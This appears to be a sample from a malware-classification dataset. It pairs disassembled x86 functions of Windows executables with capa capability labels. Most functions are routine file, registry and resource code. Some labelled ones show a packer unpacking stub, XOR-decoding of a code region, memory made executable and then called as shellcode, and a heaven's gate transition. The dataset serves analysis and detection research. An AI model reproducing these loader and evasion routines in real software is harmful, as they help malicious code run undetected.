joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f19
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x405f73
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405f65
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x405f61
cmp esi, ecx
jae 0x405f65
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x405f4f
cmp esi, ecx
jb 0x405f69
xor eax, eax
jmp 0x405f72
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406260
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.0040603f
mov ecx, eax
test ecx, ecx
je 0x406407
mov eax, dword [ecx]
push ebx
push esi
push edi
call dword [eax + 0xc]
add eax, 0x10
mov ebx, 0x104
mov dword [ebp - 8], eax
or edi, 0xffffffff
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
push ebx
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0040682b
push ebx
push eax
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x20]
mov esi, eax
call fcn.00406805
test esi, esi
je 0x4063ec
cmp esi, 0x104
ja 0x4063ec
mov esi, dword [ebp - 8]
call fcn.0040603f
push eax
lea ecx, [ebp - 0x10]
call fcn.004069ae
test esi, esi
je 0x4062fd
test esi, 0xffff0000
jne 0x4062fd
movzx eax, si
lea ecx, [ebp - 0x10]
push eax
call fcn.004069d7
jmp 0x406306
push esi
lea ecx, [ebp - 0x10]
call fcn.00406779
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
call fcn.0040682b
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov esi, dword [ebp - 0x10]
push dword [esi - 8]
push esi
call fcn.0040a597
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.004068a9
lea ecx, [esi - 0x10]
call fcn.00406a54
add eax, 0x10
lea ecx, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.004067a4
lea ecx, [ebp - 0x14]
call fcn.00406993
call fcn.0040603f
mov ecx, eax
test ecx, ecx
je 0x406407
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 0x104
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0040682b
push eax
push ebx
push ebx
push 0x26
push ebx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x20]
sets bl
call fcn.00406805
test bl, bl
je 0x4063a7
xor ebx, ebx
jmp 0x4063dc
lea ecx, [ebp - 0xc]
call fcn.0040673f
lea ecx, [ebp - 8]
call fcn.0040673f
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x4063d7
mov ecx, dword [ebp - 8]
cmp dword [ecx - 0xc], 0
jl 0x4063d7
call fcn.00406c9e
test eax, eax
je 0x4063d7
mov edi, eax
sub edi, dword [ebp - 8]
sar edi, 1
test edi, edi
sete bl
lea ecx, [ebp - 0xc]
call fcn.00406993
lea ecx, [ebp - 0x10]
call fcn.00406993
lea ecx, [ebp - 8]
call fcn.00406993
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406e43
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00405e90
int3
Function at 0x406412
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0xc]
xor edi, edi
push eax
xor eax, eax
mov dword [ebp - 0xc], edi
push 0x20019
test cl, cl
mov esi, edx
push edi
setne al
push 0x405988
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40645d
jle 0x4064ba
movzx eax, ax
or eax, 0x80070000
jmp 0x4064ba
or dword [ebp - 0x14], 0xffffffff
mov ecx, esi
push 0x32
pop eax
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], esi
call fcn.0040682b
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x18], eax
push ecx
push eax
lea eax, [ebp - 8]
push eax
push edi
push 0x405970
push dword [ebp - 0xc]
call dword [sym.imp.SHLWAPI.dll_SHQueryValueExW]
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00406805
test esi, esi
je 0x4064ad
jle 0x4064a9
movzx esi, si
or esi, 0x80070000
mov eax, esi
jmp 0x4064ba
mov eax, dword [ebp - 8]
dec eax
neg eax
sbb eax, eax
and eax, 0x8000ffff
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00406e43
mov esp, ebp
pop ebp
ret

Function at 0x40667b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x4058f8
push 0x4058dc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4066a2
push 0x800
call eax
call fcn.00406260
mov byte [ebp - 1], al
call fcn.0040603f
mov ecx, eax
test ecx, ecx
je 0x406734
mov eax, dword [ecx]
push esi
push edi
call dword [eax + 0xc]
mov dl, byte [ebp - 1]
add eax, 0x10
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.004064ca
mov esi, eax
pop ecx
test esi, esi
js 0x406722
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4066f4
call fcn.004061f6
mov esi, eax
jmp 0x406722
push 0x405978
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x406716
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call esi
mov esi, eax
jmp 0x40671b
mov esi, 0x80004005
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 8]
call fcn.00406993
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.00405e90
int3
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x2919028c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x2d8318b6
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4010c5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
pushal
mov ebp, esp
lea eax, [esp - 8]
and eax, 0xfffffff8
mov esp, eax
push 0x33
call fcn.004010db

Function at 0x401243
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x18
push 0x411e50
call fcn.0040d970
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
call fcn.00401199
test eax, eax
je 0x4012b6
lea edi, [eax + 0x414250]
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x13000
push 0x414250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4012b6
call edi
test eax, eax
je 0x40129f
lea ecx, [ebp - 0x28]
push ecx
push 6
push ebx
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 0x13000
push 0x414250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x28]
jmp 0x4012d2
call fcn.0040d9b8
ret

Function at 0x4013f5
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
call fcn.0040132f
push 0x13
pop eax
xor esi, esi
mov dword [ebp - 0x2c], 2
push esi
push esi
push esi
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0x23
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], 0xd
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x14
mov dword [ebp - 0x10], 0xa
mov dword [ebp - 0xc], 0xb
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xf
call dword [sym.imp.KERNEL32.dll_OpenProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x401466
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
mov edx, esi
mov al, byte [ebp + ecx*4 - 0x2c]
xor byte [edx + 0x414250], al
inc ecx
xor eax, eax
cmp ecx, 0xb
cmove ecx, eax
inc edx
cmp edx, 0x13000
jb 0x40146a
call fcn.00401243
push esi
test eax, eax
jne 0x401460
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x404e1a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x413050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004030bc
mov dword [ebp - 0x14], eax
cmp dword [0x427fb0], esi
jne 0x404f0d
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x404e9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x404fed
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x404fed
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x404fed
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x427fb0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x427fb4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x427fb8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x427fc0], eax
test eax, eax
je 0x404f0a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x427fbc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404f32
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x404f25
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x404f47
push 4
pop eax
jmp 0x404fef
cmp dword [ebp - 0x14], esi
je 0x404f47
push dword [0x427fb0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x404f2c
mov eax, dword [0x427fbc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x404fa5
cmp dword [0x427fc0], edi
je 0x404fa5
push eax
call ebx
push dword [0x427fc0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x404fa5
test eax, eax
je 0x404fa5
call ecx
test eax, eax
je 0x404f9a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x404f9a
test byte [ebp - 8], 1
jne 0x404fa5
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x404fd5
mov eax, dword [0x427fb4]
cmp eax, edi
je 0x404fd2
push eax
call ebx
test eax, eax
je 0x404fd2
call eax
mov esi, eax
test esi, esi
je 0x404fd2
mov eax, dword [0x427fb8]
cmp eax, edi
je 0x404fd2
push eax
call ebx
test eax, eax
je 0x404fd2
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x427fb0]
call ebx
test eax, eax
je 0x404fed
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x404fef
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040161c
mov esp, ebp
pop ebp
ret
Function at 0x416f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x416f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416f38
mov eax, 1
add ebx, ebx
jne 0x416f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x416f50
jne 0x416f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f50
xor ecx, ecx
sub eax, 3
jb 0x416f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416ff2
mov ebp, eax
add ebx, ebx
jne 0x416f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416fbc
inc ecx
add ebx, ebx
jne 0x416fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416f9d
jne 0x416fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416fcd
jmp 0x416f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416fdc
add edi, ecx
jmp 0x416f3e
pop esi
mov edi, esi
mov ecx, 0x712
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x416ffa
cmp byte [edi], 0xa
jne 0x416ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x416fff
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x41706e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41702c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1707c]
or eax, eax
je 0x417068
mov dword [ebx], eax
add ebx, 4
jmp 0x417049
call dword [esi + 0x17080]
popal
jmp 0x407cd2
Function at 0x401419
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x401446
test cl, 7
je 0x401446
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x420140]
dec esi
inc ecx
jmp 0x401427
cmp esi, 8
jb 0x4014e9
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x420540]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x420140]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x420940]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x421140]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x421540]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x421940]
movzx edx, dl
xor edi, dword [edx*4 + 0x420d40]
movzx eax, al
xor edi, dword [eax*4 + 0x421d40]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x401458
pop ebx
jmp 0x4014e9
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x420140]
dec esi
inc ecx
test esi, esi
ja 0x4014d5
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4015a2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0040d4e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x401618
push esi
push dword [ebp + 8]
call fcn.0040d46a
pop ecx
push dword [ebp + 8]
mov esi, eax
call fcn.0040654a
test al, al
jne 0x4015f5
lea eax, [ebp - 0x1000]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x1000]
push eax
call fcn.0040d46a
pop ecx
lea esi, [esi + eax + 1]
mov eax, 0x104
cmp esi, eax
pop esi
jbe 0x401618
push eax
push 0xc3
call fcn.004083cd
push eax
push 0x41a3a0
call fcn.00409994
add esp, 0xc
leave
ret 4
Function at 0x40330b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, ecx
cmp dword [ebp + 0xc], ebx
je 0x403405
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x40333a
dec eax
je 0x40332f
dec eax
jne 0x40333a
push 0xfffffffffffffff4
jmp 0x403331
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push edi
mov dword [ebp - 4], ebx
cmp dword [esi + 0xc], ebx
je 0x403385
xor edi, edi
cmp dword [ebp + 0xc], ebx
jbe 0x4033a4
mov eax, dword [ebp + 0xc]
sub eax, edi
mov ecx, 0x4000
cmp eax, ecx
jb 0x40335a
mov eax, ecx
push ebx
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec eax
neg eax
sbb al, al
inc al
je 0x4033a4
add edi, 0x4000
cmp edi, dword [ebp + 0xc]
jb 0x40334a
jmp 0x4033a0
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec eax
neg eax
sbb al, al
inc al
cmp al, bl
jne 0x403400
cmp byte [esi + 0x14], bl
je 0x403400
cmp dword [esi + 0xc], ebx
jne 0x403400
push ebx
lea eax, [esi + 0x1e]
mov edi, 0x44173c
push eax
mov ecx, edi
call fcn.004016eb
test al, al
je 0x4033f4
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jae 0x40333b
cmp eax, ebx
jbe 0x40333b
mov edi, dword [esi]
push ebx
mov ecx, esi
call dword [edi + 0xc]
mov ecx, dword [ebp - 4]
xor ebx, ebx
sub eax, ecx
sbb edx, ebx
push edx
push eax
mov ecx, esi
call dword [edi + 8]
jmp 0x40333b
lea eax, [esi + 0x1e]
push eax
push ebx
mov ecx, edi
call fcn.00401853
mov byte [esi + 8], 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40350e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0xc], 1
push edi
mov edi, 0x4e20
jne 0x403535
cmp dword [ebp + 0xc], edi
jbe 0x40352a
mov dword [ebp + 0xc], edi
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40359e
mov ecx, esi
call fcn.0040349c
test al, al
je 0x40356b
cmp dword [ebp + 0xc], edi
jbe 0x40356b
push edi
push dword [ebp + 8]
mov ecx, esi
call fcn.0040350e
jmp 0x4035a1
cmp dword [esi + 0xc], 1
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x403582
call ebx
cmp eax, 0x6d
jne 0x403582
xor eax, eax
jmp 0x4035a1
cmp dword [esi + 0xc], 0
jne 0x403599
mov edi, 0x8000
cmp dword [ebp + 0xc], edi
jbe 0x403599
call ebx
cmp eax, 0x21
je 0x40355e
or eax, 0xffffffff
jmp 0x4035a1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4038bc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0040d4e0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edi
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x403900
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.0040660e
test al, al
je 0x403900
lea eax, [ebp - 0x1000]
push eax
call esi
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x403908
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0040d4e0
push ebx
push esi
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp + 8]
call esi
test eax, eax
setne bl
test bl, bl
jne 0x403957
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.0040660e
test al, al
je 0x403957
push dword [ebp + 0xc]
lea eax, [ebp - 0x1000]
push eax
call esi
test eax, eax
setne bl
pop esi
mov al, bl
pop ebx
leave
ret 8

Function at 0x403b44
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0040d4e0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
mov edi, dword [ebp + 8]
push 0
push edi
call esi
test eax, eax
jne 0x403b94
push edi
call fcn.00403b20
test al, al
jne 0x403ba7
push 0x800
lea eax, [ebp - 0x1000]
push eax
push edi
call fcn.0040660e
test al, al
je 0x403ba7
push 0
lea eax, [ebp - 0x1000]
push eax
call esi
test eax, eax
je 0x403ba7
cmp byte [ebp + 0xc], 0
je 0x403ba3
push dword [ebp + 0x10]
push edi
call fcn.00403908
xor eax, eax
jmp 0x403bbf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x403bbc
cmp eax, 3
je 0x403bbc
xor eax, eax
inc eax
jmp 0x403bbf
push 2
pop eax
pop edi
pop esi
leave
ret 0xc
Function at 0x404757
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1250
call fcn.0040d4e0
cmp dword [ebp + 8], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [ebp - 0x250]
mov edi, 0x800
push eax
jne 0x4047e6
push dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
call ebx
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x404813
push edi
lea eax, [ebp - 0x1250]
push eax
push dword [ebp + 0xc]
call fcn.0040660e
test al, al
je 0x4047bf
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x1250]
push eax
call ebx
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x404813
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4047d9
cmp eax, 3
je 0x4047d9
cmp eax, 0x12
je 0x4047d9
xor eax, eax
inc eax
jmp 0x4047db
xor eax, eax
mov byte [esi + 0x1044], al
jmp 0x4048de
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404809
or dword [ebp + 8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
setne al
mov byte [esi + 0x1044], al
cmp dword [ebp + 8], 0xffffffff
je 0x4048de
push edi
push dword [ebp + 0xc]
push esi
call fcn.0040b6e7
push edi
lea eax, [ebp - 0x224]
push eax
push esi
call fcn.00406497
push 1
push 0
push 0
push dword [ebp - 0x234]
call fcn.0040e570
mov ecx, dword [ebp - 0x230]
xor edi, edi
add eax, ecx
mov dword [esi + 0x1000], eax
mov eax, dword [ebp - 0x250]
mov dword [esi + 0x1008], eax
mov eax, dword [ebp - 0x24c]
mov dword [esi + 0x1028], eax
mov eax, dword [ebp - 0x248]
mov dword [esi + 0x102c], eax
mov eax, dword [ebp - 0x244]
mov dword [esi + 0x1030], eax
mov eax, dword [ebp - 0x240]
mov dword [esi + 0x1034], eax
mov eax, dword [ebp - 0x23c]
mov dword [esi + 0x1038], eax
mov eax, dword [ebp - 0x238]
mov dword [esi + 0x103c], eax
lea eax, [ebp - 0x23c]
adc edx, edi
push eax
lea ecx, [esi + 0x1010]
mov dword [esi + 0x1004], edx
call fcn.0040ba2f
lea eax, [ebp - 0x24c]
push eax
lea ecx, [esi + 0x1018]
call fcn.0040ba2f
lea eax, [ebp - 0x244]
push eax
lea ecx, [esi + 0x1020]
call fcn.0040ba2f
and dword [esi + 0x1040], 0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 0xc